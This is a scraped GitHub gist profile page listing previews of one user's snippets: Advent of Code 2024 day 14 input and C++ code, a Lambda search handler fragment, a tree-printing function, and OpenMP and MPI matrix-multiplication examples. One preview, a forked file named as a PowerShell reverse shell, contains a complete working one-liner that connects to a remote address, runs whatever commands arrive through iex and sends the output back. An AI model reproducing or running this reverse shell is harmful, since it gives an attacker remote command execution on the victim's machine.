Skip to content

Instantly share code, notes, and snippets.

View wangyu-'s full-sized avatar

Yancey Wang wangyu-

View GitHub Profile
@wangyu-
wangyu- / day14p2.txt
Created December 14, 2024 22:36
aoc2024 day14 input data
p=62,20 v=85,-14
p=88,18 v=-70,97
p=51,21 v=35,-22
p=19,56 v=2,45
p=93,11 v=-87,26
p=90,67 v=44,-13
p=99,34 v=82,57
p=55,42 v=82,22
p=61,22 v=-24,-95
p=100,7 v=18,-29
@wangyu-
wangyu- / day14p2.cpp
Last active December 14, 2024 22:37
aoc2024 day14 p2
#include <iostream>
#include <string>
#include <vector>
#include <cstdio>
using namespace std;
#define mkp make_pair
#define sz(x) ((int)x.size())
int test = 0;
@wangyu-
wangyu- / powershell_reverse_shell.ps1
Created October 28, 2022 05:38 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Oct 5 07:13:29 2020
@author: wangyu
"""
import random
import gzip
exports.handler = (event) => {
var host="111";
var path="/wy2@1.com/_search"
/*var query={
"query": {
"match": {
"text": {
"query": "you get",
@wangyu-
wangyu- / tree_print.c
Created April 24, 2019 11:43
tree pretty print
//from https://stackoverflow.com/questions/801740/c-how-to-draw-a-binary-tree-to-the-console
int _print_t(tnode *tree, int is_left, int offset, int depth, char s[20][255])
{
char b[20];
int width = 5;
if (!tree) return 0;
sprintf(b, "(%03d)", tree->val);
@wangyu-
wangyu- / omp_mul.c
Created April 5, 2019 15:17 — forked from metallurgix/omp_mul.c
Matrix Multiplication using OpenMP
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <omp.h>
#include <sys/time.h>
#define N 1000
int A[N][N];
@wangyu-
wangyu- / mpi_sample.c
Created April 5, 2019 13:59 — forked from varun-nagaraja/mpi_sample.c
Sample MPI Program
#include <stdio.h>
#include <string.h>
#include "mpi.h"
int main(int argc, char* argv[]){
int my_rank; /* rank of process */
int p; /* number of processes */
int source; /* rank of sender */
int dest; /* rank of receiver */
int tag=0; /* tag for messages */
@wangyu-
wangyu- / mpiMult.c
Created April 5, 2019 13:39 — forked from rehrumesh/mpiMult.c
Matrix multiplication using MPI
/**********************************************************************
* MPI-based matrix multiplication AxB=C
*********************************************************************/
#include <stdio.h>
#include "mpi.h"
#define N 4 /* number of rows and columns in matrix */
MPI_Status status;